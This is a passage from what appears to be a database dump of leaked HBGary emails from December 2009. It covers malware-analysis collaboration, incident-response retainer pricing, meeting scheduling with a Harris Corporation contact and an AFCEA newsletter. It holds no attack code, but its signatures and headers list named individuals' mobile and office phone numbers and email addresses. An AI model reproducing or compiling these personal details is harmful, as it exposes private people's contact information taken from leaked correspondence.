analysis with HBGarys capability for malware binary\r\n>> analysis\r\n>>>> and fingerprinting and start doing some long term analysis and\r\n>>>> correlation of attacks.  I think this approach could push the\r\n>>>> Attribution rock forward a little.\r\n>>>> \r\n>>>> I know you guys are in the \"forensics\" space but would really like\r\n> to\r\n>>>> talk about what that really means, also share where we are going and\r\n>>>> see\r\n>>>> where we might be able to help each other.\r\n>>>> \r\n>>>> If you noticed the time of the email.  3rd night in a row I have\r\n>> woken\r\n>>>> up in the middle of the night and can\'t sleep because my mind is\r\n>>>> racing.\r\n>>>> Its nice to be excited about work, but I need some sleep.\r\n>>>> \r\n>>>> Aaron\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4607,'aaron_hbgary_com/4607.html'),(670,'2009-12-15','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999994.M48290P3547Q669.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Retainer for Services doc/template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWE need this asap\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Friday, December 04, 2009 12:15 PM\r\nTo: Penny C. Hoglund\r\nSubject: Fwd: Retainer for Services doc/template\r\n\r\n\r\n\r\n&nbsp;\r\n\r\npricing needed for eTrade\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Wed, Dec 2, 2009 at 10:30 AM\r\nSubject: Re: Retainer for Services doc/template\r\nTo: Penny Hoglund &lt;penny@hbgary.com&gt;\r\nCc: Rich Cummings &lt;rich@hbgary.com&gt;,\r\nted@hbgary.com, aaron@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nDo we have a description of services and pricing (Federal\r\nand Commercial)?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Service \r\n  \r\n  \r\n  Same Day\r\n  &nbsp;&nbsp;\r\n  \r\n  \r\n  24 Hour\r\n  &nbsp;\r\n  \r\n  \r\n  3 Day\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  On-site\r\n  IR clean up labor level 1\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  On-Site\r\n  IR clean up labor level 2\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Off-site\r\n  Malware Analysis labor xx hours etc\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Number of\r\n  Nodes\r\n  \r\n  \r\n  Cost Per\r\n  Node &#8211; 2 week dissolvable agent\r\n  \r\n  \r\n  Cost Per\r\n  Node &#8211; 6 week dissolvable agent\r\n  \r\n \r\n \r\n  \r\n  Less than\r\n  5,000\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  5000-24,999\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Etc.\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Dec 2, 2009 at 9:51 AM, Penny Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHere is what I have for consulting agreements .&nbsp; The\r\nPro Services agreement\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich\r\nCummings [mailto:rich@hbgary.com]\r\n\r\nSent: Wednesday, December 02, 2009 9:32 AM\r\nTo: \'Penny Hoglund\'; ted@hbgary.com;\r\naaron@hbgary.com\r\nCc: \'Maria Lucas\'\r\nSubject: Retainer for Services doc/template\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nDo\r\nany of you have a template or example of a services agreement for customers who\r\nwould like to purchase HBGary services on retainer?&nbsp; An example is etrade,\r\nthey want to have HBGary services on retainer so that *if/when* they\r\nhave a network intrusion or malware analysis requirement they can pick up the\r\nbat-phone and we&#8217;ll provide the specified level of support that is agreed upon.\r\n\r\n\r\n&nbsp;\r\n\r\nWe&#8217;ve\r\nbeen getting lots of interest in this area and the sales people should have\r\nsomething to provide prospective customers. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9721,'aaron_hbgary_com/9721.html'),(671,'2009-12-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999994.M496115P3547Q671.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: New Time Proposed: Invitation: ARSTRAT Discussion @ Sat Dec 19 9am - 10am 	(msteckman@palantirtech.com)','yes I did. :)On Dec 15, 2009, at 11:45 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think you meant Friday?\r\n&nbsp;\r\n------------------\r\nNew Meeting Time Proposed:\r\nFriday, December 18, 2009 9:00 AM-10:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15447,'aaron_hbgary_com/15447.html'),(672,'2009-12-15','ted@hbgary.com','/aaron@hbgary.com/new/1296999994.M894273P3547Q672.eml','aaron@hbgary.com','Juicy Fruit','\r\n\r\nI\'ve shared Juicy Fruit\r\nMessage from ted@hbgary.com:\r\n\r\nClick to open:\r\nJuicy Fruit\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',8016,'aaron_hbgary_com/8016.html'),(673,'2009-12-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999995.M328210P3547Q674.eml','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','Re: Customer Meeting','Mike,No Problem. &nbsp;I am pretty flexible Thursday and Friday but Monday I am flying out with the family for Christmas break. &nbsp;If it is possible to fit it in this week just let me know, otherwise lets set it up for just after the new year.AaronOn Dec 15, 2009, at 11:55 AM, Fox, Michael (mfox04) wrote:Aaron,&nbsp;I had asked Vickie to set up a time for me to meet with you about DC3. We set it for a good time on all schedules, but a customer meeting for that time came up just now. Can we reschedule? We were going to meet at your office on Thursday the 17th&nbsp;from 1:00 p.m. to 2:00 p.m. Looks like next Tuesday, the 22nd, in the afternoon works as does the morning of the 23rd. I’m available to meet at your office at either time.&nbsp;Thanks,Mike&nbsp;&nbsp;Director, Business DevelopmentCrucial Security ProgramsHarris Corporationmfox@crucialsecurity.commfox04@harris.comGSA Schedule: GS-35F-0599TVA DCJS #11-5327W 703-961-9456 x142 * F 703-961-9459 * C 703-338-943414900 Conference Center Drive, Suite 225, Chantilly, VA 20151www.crucialsecurity.comCrucial Security is a 2007, 2008, and 2009 Top 50 Best Places to Work in the Washington Region– Washington Business Journal&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10529,'aaron_hbgary_com/10529.html'),(674,'2009-12-15','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','/aaron@hbgary.com/new/1296999995.M575666P3547Q675.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Customer Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow about Jan 7th then? I&#8217;m wide open. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike\r\nFox\r\nW 703-961-9456 x142 \r\nC 703-338-9434\r\nmfox@crucialsecurity.com\r\nmfox04@harris.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 15, 2009 3:00 PM\r\nTo: Fox, Michael (mfox04)\r\nSubject: Re: Customer Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMike,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo Problem. &nbsp;I am pretty flexible Thursday and Friday\r\nbut Monday I am flying out with the family for Christmas break. &nbsp;If it is\r\npossible to fit it in this week just let me know, otherwise lets set it up for\r\njust after the new year.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 15, 2009, at 11:55 AM, Fox, Michael (mfox04) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nhad asked Vickie to set up a time for me to meet with you about DC3. We set it\r\nfor a good time on all schedules, but a customer meeting for that time came up\r\njust now. Can we reschedule? We were going to meet at your office on Thursday\r\nthe 17th&nbsp;from 1:00\r\np.m. to 2:00 p.m. Looks like next Tuesday, the 22nd, in the\r\nafternoon works as does the morning of the 23rd. I&#8217;m available to\r\nmeet at your office at either time.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDirector,\r\nBusiness Development\r\nCrucial Security Programs\r\nHarris Corporation\r\nmfox@crucialsecurity.com\r\nmfox04@harris.com\r\nGSA Schedule: GS-35F-0599T\r\nVA DCJS #11-5327\r\nW 703-961-9456 x142 * F 703-961-9459 * C 703-338-9434\r\n14900 Conference Center Drive, Suite 225, Chantilly, VA 20151\r\nwww.crucialsecurity.com\r\n\r\n\r\n\r\n\r\n\r\nCrucial\r\nSecurity is a 2007, 2008, and 2009 Top 50 Best Places to Work in the Washington\r\nRegion\r\n&#8211; Washington Business Journal&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8100,'aaron_hbgary_com/8100.html'),(675,'2009-12-15','\"AFCEA International\" <connections@afcea.org>','/aaron@hbgary.com/new/1296999995.M782634P3547Q676.eml','aaron@hbgary.com','SIGNAL Connections','\r\n\r\n\r\n\r\nSIGNAL Connections\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n\r\n  \r\n    To ensure you receive SIGNAL Connections each month, add connections@afcea.org to your address book.\r\n     If you cannot read this email, click here.\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n     \r\n \r\n  \r\n\r\n\r\n\r\n  \r\n    SIGNAL | About | Contact | Advertising | Join AFCEA | Writers Guide | Legal \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        Tuesday, December 15, 2009 \r\n		&nbsp;\r\n        VOLUME 7 ISSUE 3 \r\n      \r\n      \r\n        \r\n      \r\n    \r\n  \r\n  \r\n    In This Issue \r\n        \r\n          Feature Articles\r\n          News Briefs\r\n          SIGNAL Online Exclusives\r\n          Currently in SIGNAL\r\n          Next month in SIGNAL\r\n          Homefront Help\r\n          New Products\r\n          Survey Question\r\n          Right Now on SIGNAL Scape\r\n          AFCEA News\r\n          \r\n        \r\n \r\n \r\n	\r\n			   &nbsp;\r\n			    \r\n     &nbsp;\r\n          \r\n            &nbsp;\r\n			   \r\n      \r\n	  \r\n      \r\n        \r\n\r\nSponsors \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n        \r\n         Survey Question \r\n\r\nDIV.formhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.subhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.secthd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.sectsubhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.questhd {font-size:11px; font-family:arial,helvetica;}\r\n\r\n			\r\n\r\n\r\n				\r\n					\r\n\r\n						\r\n\r\n							\r\n							\r\n								Will 30,000 additional U.S. troops in Afghanistan make a difference?\r\n								              &nbsp;\r\n							\r\n							\r\n\r\n							\r\n							\r\n								\r\n		   					  Yes. It is the appropriate amount to get the job done.&nbsp;No. It will take many more to make a difference.&nbsp;Undecided.&nbsp;\r\n								\r\n							\r\n							\r\n\r\n						\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n\r\n								\r\n\r\n							\r\n\r\n						\r\n						\r\n\r\n					\r\n				\r\n\r\n			\r\n\r\n\r\n\r\n \"9\")))\r\n		return false;\r\n	}\r\n\r\n	return true;\r\n}\r\n\r\nfunction stripCharsInBag(s, bag){\r\n	var i;\r\n   var returnString = \"\";\r\n\r\n   for (i = 0; i 1)\r\n		strDay = strDay.substring(1)\r\n\r\n	if (strMonth.charAt(0)==\"0\" && strMonth.length>1)\r\n		strMonth = strMonth.substring(1)\r\n\r\n	for (var i = 1; i 1)\r\n			strYr=strYr.substring(1)\r\n	}\r\n\r\n	month=parseInt(strMonth)\r\n	day=parseInt(strDay)\r\n	year=parseInt(strYr)\r\n\r\n	if (pos1 == -1 || pos2 == -1) {\r\n		returnString = \"The date format should be : MM/DD/YYYY\";\r\n	}\r\n	else if (strMonth.length12) {\r\n		returnString = \"Please enter a valid month\";\r\n	}\r\n	else if (strDay.length31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]) {\r\n		returnString = \"Please enter a valid day\";\r\n	}\r\n	else if (strYear.length != 4 || year==0 || yearmaxYear) {\r\n		returnString = \"Please enter a valid 4 digit year between \"+minYear+\" and \"+maxYear;\r\n	}\r\n	else if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false) {\r\n		returnString = \"Please enter a valid date\";\r\n	}\r\n	else {\r\n		returnString = \"\";\r\n	}\r\n	return returnString;\r\n}\r\n\r\nfunction isNumber(str) {\r\n	if ( (str == \"\") || (isNaN(Math.abs(str)) && (str.charAt(0) != \'#\'))) {\r\n		return false;\r\n	}\r\n	return true;\r\n}\r\n\r\nfunction validateForm(form) \r\n{\r\n	if (validate) {\r\n		document.sbt.status_cd.value = \'COMPLETED\';\r\n\r\n		for (var e = 0; e  -1)) { \r\n				if (el.name.indexOf(\"QY\") > -1 && el.value == \'\') {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"EMAIL\") > -1 && isEmail(el.value) == false) {\r\n					alert(\"Invalid E-Mail format\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"NUMBER\") > -1 && isNumber(el.value) == false) {\r\n					alert(\"Invalid Number\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if ( el.name.indexOf(\"DATE\") > -1 ) {\r\n					var err = isDate(el.value);\r\n					if (err != \'\') {\r\n						alert(err);\r\n						el.focus();\r\n						return false;\r\n					}\r\n				}\r\n			}\r\n			else if (el.type.indexOf(\'select\') != -1 && el.name.indexOf(\"QY\") > -1) {\r\n				if (el.selectedIndex == 0) {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n			}\r\n			else if (el.type == \'radio\' && el.name.indexOf(\"QY\") > -1) {\r\n				var group = form[el.name];\r\n				var checked = false;\r\n				if (!group.length)\r\n					checked = el.checked;\r\n				else\r\n					for (var r = 0; r  -1) {\r\n				var group = form[el.name];\r\n				if (group.length) {\r\n					var checked = false;\r\n					for (var r = 0; r \r\n\r\n\r\n        \r\n        Homefront Help\r\n        \r\n          Find out how you can help the troops from home.\r\n        \r\n        \r\n        New Products\r\n        \r\n          Check out the latest products.\r\n        \r\n        \r\n        Right Now on SIGNAL Scape \r\n      \r\n        Coverage from December\'s SOLUTIONS event\r\n        Night Vision Sees New Day Dawning\r\n        \r\n      \r\n      \r\n      \r\n      AFCEA News\r\n      \r\n        Educational Foundation\r\n        \r\n        Small Business\r\n        Intelligence\r\n        Chapter News\r\n      \r\n      \r\n    Upcoming Events\r\nAFCEA Bethesda Monthly Breakfast Series Federal Civilian and Department of Defense12/17/2009Bethesda-North Marriott and Conference Center, Bethesda, MD details ...AFCEA DC Monthly Luncheon - DISA Panel01/07/2010Pentagon City Ritz Carlton, Arlington, VA details ...10th Annual - US Army IT Day Army, IT, US Army 01/14/2010Sheraton Premiere at Tysons Corner, Vienna, VA details ...AFCEA Bethesda Monthly Breakfast Series Federal Civilian and DoD Networking and Education Breakfast01/21/2010Bethesda North Marriott and Conference Center, Bethesda, AL details ...AFCEA NoVA Monthly Luncheon01/22/2010Sheraton Premiere at Tysons Corner , Vienna, VA details ...\r\n\r\n      \r\n      \r\n      Subscribe\r\n\r\nEnter your e-mail address in the box below to receive an e-mail each time we post a new issue of our newsletter:\r\n  \r\n  &nbsp;\r\n  \r\n\r\n    \r\nFeature Articles\r\n        DHS to Hire Hundreds of Cybersecurity Professionals, No KSAs Required\r\n          The U.S. Department of Homeland Security (DHS) is breaking rank with the current way of hiring government employees and instituting a new process to attract top talent in cybersecurity. The change reduces the government bureaucracy to streamline hiring in a way officials believe will appeal to today\'s cyberprofessionals. [Read more...]\r\n        Government Can Reach for Clouds to Gather Information\r\n  Government and defense agencies can use a new data mining application to help gather and share information and intelligence as well as look for national security and terrorist threats. The tool searches the Internet and provides organizations with data that enables them to make informed decisions and, if necessary, respond quickly. [Read more...]  \r\n\r\n\r\n News Briefs\r\nAirborne, Maritime, Fixed Station Radio Passes Design Review\r\n  Another part of the U.S. Defense Department\'s ambitious Joint Tactical Radio System (JTRS) program is moving closer to deployment. The Airborne, Maritime, Fixed Station (AMF) JTRS radio successfully completed a critical design review that moves current radio capabilities to the next level through advanced Internet protocol technologies similar to but more mobile and secure than commercial communications devices. The software-programmable radio links warfighters to the Global Information Grid and provides non-line-of-sight capabilities, wideband networking and interoperability between all users in the network. Once fully fielded, the radio will link more than 100 platforms, providing connectivity in areas where no communications infrastructure exists.  \r\n  Researchers Support Subway Safety\r\n  Scientists from multiple laboratories recently conducted a study designed to observe the behavior of airborne contaminants when released into a subway system. Scientists from Argonne National Laboratory, Lawrence Berkeley National Laboratory, ICx Technologies, the Defence Science and Technology Laboratory in the United Kingdom, and the ChemCentre in Australia performed their experiments using harmless substances in the Massachusetts Bay Transportation Authority subway system. The study will provide data that will guide the design of next-generation detection systems and enable transportation systems to strengthen evacuation, ventilation and other incident response strategies.DHS Test Program to Aid Emergency Communications\r\n  The U.S. Department of Homeland Security (DHS) this month has launched Virtual USA, an information-sharing initiative designed to help federal, state, local and tribal first responders communicate during emergencies. The program, which was developed in coordination with the emergency response community and state and local governments, aims at using new and existing technologies to share and disseminate information and the status of critical assets, including power and water lines, flood detectors and helicopter landing sites. Developed by the DHS Science and Technology Directorate, Virtual USA is a pilot program in eight states, including Virginia, which has seen response times reduced by 70 percent as a result of the initiative.\r\n  Academia and Industry Join Forces to Battle Cyberthreats\r\n  Experts from Carnegie Mellon, the Massachusetts Institute of Technology and Purdue University are working with a leading defense contractor to research and develop solutions to counter cyberthreats. Formed by Northrop Grumman Corporation, the Cybersecurity Research Consortium (CRC) will take on some of the world\'s leading cyber problems, including attribution in cyberspace, supply chain risks and critical infrastructure network security. \"We have been working in the cybersecurity domain for more than 20 years, and I have never seen the threats so intense,\" says the company\'s CTO, Robert Brammer. \"By combining the creative intellectual freedoms of academia with the full-spectrum capabilities within Northrop Grumman, we can accelerate the pace of taking novel ideas to significant application.\" \r\n\r\nSIGNAL Online Exclusive Articles\r\nA Little Brain Music Goes A Long Way\r\nThe U.S. Department of Homeland Security (DHS) is examining an existing biofeedback technology to help first responders work better on long, round-the-clock disaster relief efforts. \r\n[Read more...]\r\n\r\n\r\nPrep Team Returns From Afghanistan\r\n  Members of the U.S. Joint Forces Command\'s Joint Enabling Capabilities (JEC) Command arrived home from Afghanistan and the first major operational use of the Ready JEC Package (RJP) just in time to join their families for the Thanksgiving holiday.\r\n  [Read more...]\r\n  \r\n\r\nSIGNAL Magazine Current Issue\r\n      \r\n          \r\n            \r\n              \r\n              \r\n              \r\n              \r\n          \r\n       \r\n      December 2009\r\n      Focus: U.S. Navy Technologies\r\n        No military service may be more empowered--and more limited--by information technology than the U.S. Navy. The sea service relies on long-range communications and information systems for command and control of its projected power around the world. Enhancing the warfighting capabilities of this network-centric force depends on advances in communications and electronics technologies, and the Navy is pushing to implement them concurrent with new missions. \r\n      \r\n      Focus: Surveillance and Reconnaissance\r\n      Virtually any national security operation, from warfighting to peacekeeping, depends on good intelligence. And, good intelligence starts on the technical side with surveillance and reconnaissance. SIGNAL\'s other December focus is on new surveillance and reconnaissance technologies that promise vastly improved support to the warfighter.\r\n      Read these stories and more in the current issue of SIGNAL Magazine.  \r\n         \r\n         Next Month in SIGNAL Magazine\r\n         Focus: Collaborative Technologies\r\n         The whole is greater than the sum of its parts, so goes the old adage. When it comes to processing information, that adage holds up well. When it comes to sharing information, that adage becomes apostolic. Collaboration in the information age has become the force multiplier of the force multiplier, as information technology users discover both new capabilities and new means of collaboration. SIGNAL Magazine\'s first issue of 2010 looks at both arenas as it reports on enabling technologies and the results of collaborative efforts.\r\n         Focus: AFRICOM\r\n         The newest U.S. joint command may be at the vanguard of future overseas military missions. The Africa Command, or AFRICOM, faces a mission rife with diversity and change. Its area of responsibility extends across dozens of countries, many of which are embroiled in conflict-both internal and external. And, natural disasters plague the nearly 1 billion people scattered throughout the world\'s second-largest continent. SIGNAL Magazine\'s January issue focuses on the varied challenges facing AFRICOM as it attempts to establish relationships with the diverse members of its area of operation.\r\n         \r\n         Community \r\n          &nbsp;\r\n         &nbsp;\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPublished by AFCEA International, 4400 Fair Lakes Ct., Fairfax, VA 22033.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nCopyright &copy; 2009 AFCEA International. All rights reserved.\r\n    Copyright is not claimed in the portions written by government employees within the scope of their employment. Authors are entirely responsible for opinions expressed in articles or letters appearing in AFCEA publications, and these opinions are not to be construed as official or reflecting the views of AFCEA. SIGNAL is registered in the U.S. Patent and Trademark Office.\r\n \r\n\r\n\r\n  \r\n    \r\n      FORWARD TO A FRIEND\r\n      \r\n  UNSUBSCRIBE\r\n\r\n\r\n \r\n\r\n  \r\n\r\n\r\n\r\n\r\nvar pageTracker = _gat._getTracker(\"UA-1095862-1\");\r\npageTracker._initData();\r\npageTracker._trackPageview();\r\n\r\n\r\n\r\n\r\n_qacct=\"p-8133HdY5ndcvE\";\r\nquantserve();\r\n\r\n\r\n\r\n\r\n\r\n',8791,'aaron_hbgary_com/8791.html'),(676,'2009-12-15','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','/aaron@hbgary.com/new/1296999995.M94228P3547Q673.eml','\"Aaron Barr  (aaron@hbgary.com)\" <aaron@hbgary.com>,\"Aaron Barr  (aaron@hbgary.com)\" <aaron@hbgary.com>','Customer Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI had asked Vickie to set up a time for me to meet with you\r\nabout DC3. We set it for a good time on all schedules, but a customer meeting\r\nfor that time came up just now. Can we reschedule? We were going to meet at\r\nyour office on Thursday the 17th from 1:00 p.m. to 2:00 p.m. Looks\r\nlike next Tuesday, the 22nd, in the afternoon works as does the\r\nmorning of the 23rd. I&#8217;m available to meet at your office at\r\neither time.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nMike\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDirector,\r\nBusiness Development\r\nCrucial Security Programs\r\nHarris Corporation\r\nmfox@crucialsecurity.com\r\nmfox04@harris.com\r\nGSA Schedule: GS-35F-0599T\r\nVA DCJS #11-5327\r\nW 703-961-9456 x142 * F 703-961-9459 * C 703-338-9434\r\n14900 Conference Center Drive, Suite 225, Chantilly, VA 20151\r\nwww.crucialsecurity.com\r\n\r\n\r\nCrucial Security is a\r\n2007, 2008, and 2009 Top 50 Best Places to Work in the Washington Region\r\n&#8211; Washington Business Journal&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3446,'aaron_hbgary_com/3446.html'),(677,'2009-12-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999995.M967799P3547Q677.eml','\"Fox, Michael (mfox04)\" <mfox04@harris.com>','Re: Customer Meeting','Same here. &nbsp;Jan. 7th it is.AaronOn Dec 15, 2009, at 12:06 PM, Fox, Michael (mfox04) wrote:How about Jan 7th&nbsp;then? I’m wide open.&nbsp;Mike FoxW 703-961-9456 x142&nbsp;C 703-338-9434mfox@crucialsecurity.commfox04@harris.com&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, December 15, 2009 3:00 PMTo:&nbsp;Fox, Michael (mfox04)Subject:&nbsp;Re: Customer Meeting&nbsp;Mike,&nbsp;No Problem. &nbsp;I am pretty flexible Thursday and Friday but Monday I am flying out with the family for Christmas break. &nbsp;If it is possible to fit it in this week just let me know, otherwise lets set it up for just after the new year.&nbsp;Aaron&nbsp;&nbsp;On Dec 15, 2009, at 11:55 AM, Fox, Michael (mfox04) wrote:Aaron,&nbsp;I had asked Vickie to set up a time for me to meet with you about DC3. We set it for a good time on all schedules, but a customer meeting for that time came up just now. Can we reschedule? We were going to meet at your office on Thursday the 17th&nbsp;from 1:00 p.m. to 2:00 p.m. Looks like next Tuesday, the 22nd, in the afternoon works as does the morning of the 23rd. I’m available to meet at your office at either time.&nbsp;Thanks,Mike&nbsp;&nbsp;Director, Business DevelopmentCrucial Security ProgramsHarris Corporationmfox@crucialsecurity.commfox04@harris.comGSA Schedule: GS-35F-0599TVA DCJS #11-5327W 703-961-9456 x142 * F 703-961-9459 * C 703-338-943414900 Conference Center Drive, Suite 225, Chantilly, VA 20151www.crucialsecurity.comCrucial Security is a 2007, 2008, and 2009 Top 50 Best Places to Work in the Washington Region– Washington Business Journal&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4870,'aaron_hbgary_com/4870.html'),(678,'2009-12-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999996.M162988P3547Q678.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: ANNOUNCEMENT:  Task Order - MadHatter  - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  